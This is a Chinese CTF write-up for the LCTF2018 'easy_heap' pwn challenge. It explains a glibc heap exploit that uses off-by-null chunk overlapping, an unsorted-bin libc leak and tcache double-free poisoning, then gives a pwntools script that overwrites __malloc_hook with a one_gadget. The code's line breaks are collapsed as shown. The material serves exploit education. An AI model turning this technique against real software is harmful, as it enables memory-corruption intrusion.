当前位置: 首页 > news >正文

LCTF2018 PWN easy_heap

颇有收获的一道题

Key

  • unsorted bin 切分机制的利用,当 unsorted bin 中仅有一个 chunk 时,若申请大小 <chunk,会直接从该 chunk 头部开始切对应大小的内存分出来,剩下一部分继续留在 unsorted bin 中。

  • 利用堆上的 off-by-null 实现向低地址处的 chunk overlapping

  • 在无法写入所需 prev_size 的情况下,利用相邻空闲块的合并,来构造合适的堆风水方式,让系统帮助我们写入对应的 prev_size

  • 低版本下 tcache 完全不检查 double free,通过 double free 来实现 tcache poisoning

利用思路的核心和重点是 leak libc_base。所有保护都开了,这里考虑用 unsorted binleak。程序的字符串输入函数存在 off-by-null,堆上的 off-by-null 一般考虑通过覆盖 prev_sizeprev_inuse位 实现 overlapping

这个程序的输入函数不能够输入 \x00,我们没有办法写入我们所需要的 prev_size。然而在 chunk 的申请与释放中,会对后面的 chunkprev_size 进行修改,于是我们考虑利用系统帮我们写入 prev_size

我们所需要的 prev_size=0x200,比原先的要大,因此尝试借助unsorted bin 的合并机制,来对目标 chunkprev_size 进行修改。因此至少需要 3chunk 不放入 tcache 中。程序限制至多拿 10chunk,填满 tcache 正好剩下 3 个。

可以通过将 target 的前两个 chunk 合并,来让 prev_size = 0x200。不过仅仅这样是不够的,因为就这样进行 extend,没有一个指针会指向合并后的大块中的任何地址,是无效的。因此需要把中间的 chunk 拿出来后,再进行向上的 extend。直接拿出来仍然会修改 targetprev_size,因为对合并后的大块进行切分,会修改 next_chunkprev_size。既然如此,我们不妨把 target 一并并入这个大块,然后进行切分,这样修改的就不是它的 prev_size 了。再次将 target 拿出来时,targetprev_size 会保留为 0x200

全部重新拿下来后,先 free 掉第一个 chunk,再去用 off-by-null 去覆盖 prev_inuse,这样防止在 free 第一个时,让原本 allocated 的第二个 chunk 进行 unlink 导致报错。

覆盖那一步,需要让第二个 chunk 放入 tcache 再取出,这样才能够不破坏原本构造的 prev_size

最后再把 tcache 填满,然后对第三个 chunk 进行 free 就可以实现 overlapping 了。

为了防止与 Top chunk 合并需要在第三个 chunk 后面放一个 chunk

后续的利用就十分简单了。

exp

from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def add(size,content):io.sendafter(b'which command?\n> ',b'1')io.sendafter(b'size \n> ',str(size).encode())io.sendlineafter(b'content \n> ',content)
def free(idx):io.sendafter(b'which command?\n> ',b'2')io.sendafter(b'index \n> ',str(idx).encode())
def dump(idx):io.sendafter(b'which command?\n> ',b'3')io.sendafter(b'index \n> ',str(idx).encode())
def get_libc():for i in range(10):add(1,b'a')for i in range(6):free(i)free(9)for i in range(6,9):free(i)for i in range(7):add(1,b'a')add(1,b'a') # id 7add(1,b'a') # id 8add(1,b'a') # id 9for i in range(6):free(i)free(8)free(7)payload = b'a'*0xf0add(0xf8,payload) # id 0free(6)free(9)for i in range(7):add(1,b'a') # 1~7add(1,b'a') # 8dump(0)offset = 0x7f57be9ebca0-0x7f57be600000res = io.recv(6)+b'\x00'*2res = u64(res)-offsetadd(1,b'a') # 9for i in range(1,4):free(i)return resdef Exploit():libc_base = get_libc()malloc_hook = libc_base+libc.symbols['__malloc_hook']one_gadget = libc_base+0x10a38cprint(hex(malloc_hook))print(hex(one_gadget))free(0)free(9)payload = p64(malloc_hook)add(8,payload) # 0add(1,b'a')payload = p64(one_gadget)add(8,payload) # 2"""gdb.attach(io,'''b malloc''')pause()"""io.sendafter(b'which command?\n> ',b'1')io.interactive()
if __name__ == '__main__':Exploit()
http://www.jsqmd.com/news/424422/

相关文章:

  • 2026分析新疆匠之初装饰设计,这家专业的酒店设计企业哪家好 - 工业推荐榜
  • 山东一卡通变现攻略 - 团团收购物卡回收
  • 2026宁波婚纱摄影综合评分榜单|满分100分,备婚新人选店权威指南 - charlieruizvin
  • 2026年评价高的小区道闸/车辆道闸工厂直供哪家专业 - 行业平台推荐
  • 2026年比较好的远程可视监控智能门锁/房门智能门锁厂家选择指南 - 行业平台推荐
  • 2026年质量好的生涯规划教育解决方案/生涯规划教室建设学校设施推荐 - 行业平台推荐
  • 2026年质量好的分段伸缩门/无轨伸缩门可靠供应商推荐 - 行业平台推荐
  • 2026年靠谱的矿用防爆柴油机搬运车/矿用防爆柴油机车稳定供应商推荐 - 行业平台推荐
  • 第 03 篇|函数与装饰器:`def` 不只是换了关键字
  • 2026年高端日常佩戴珠宝品牌一览,时尚又百搭,东方秩序/东方高端珠宝/高端珠宝,高端日常佩戴珠宝设计哪个好 - 品牌推荐师
  • AtCoder DP Educational Contest
  • 2026年热门的电动护理床/多功能护理床工厂直供哪家专业 - 行业平台推荐
  • 2026宁波高端婚纱摄影综合实力排名榜 _ 官方权威发布 - charlieruizvin
  • ①python基础课-解决未知输入行数的A + B 问题
  • 2026年口碑好的渗碳多用炉/密封箱式多用炉长期合作厂家推荐 - 行业平台推荐
  • 2026年深圳差示扫描量热仪好用的品牌盘点,哪家值得买 - 工业设备
  • 2026年热门的TikTok海外短视频培训,河北鱼本咨询性价比高 - myqiye
  • 2026年上海口碑好的婚恋机构盘点,专业婚恋机构哪家比较靠谱 - myqiye
  • 点读笔公司选购要点,好用的品牌大概多少钱 - 工业品牌热点
  • 2026年文旅标识牌文化元素植入,价格实惠又靠谱的品牌有哪些 - 工业推荐榜
  • 2026年国内老牌品牌检测企业哪家好,科检检测全国服务 - mypinpai
  • KBSGZY矿用隔爆型移动变电站价格多少,贵州地区行情如何? - 工业品网
  • 抚州上饶地区新能源汽车学校推荐,江西万通职业学院靠谱吗? - 工业品网
  • 热重分析仪根据预算选购,有什么好的建议? - 工业设备
  • 2026年重庆口碑好的房产服务公司推荐,深度解析知房置业靠谱吗 - 工业品牌热点
  • 湖北开放大学全省四级体系办学,对考建造师有帮助吗? - 工业推荐榜
  • 2026年比较好的滑冰场/滑冰场管道厂家口碑推荐汇总 - 行业平台推荐
  • 直接上结论:专科生必备的降AI神器 —— 千笔AI
  • 2026年口碑好的实验室反应釜来图定制企业,上海釜鼎有优势 - 工业推荐榜
  • 2026年评价高的无添加花椒油/四川花椒油出口高口碑厂家推荐(评价高) - 行业平台推荐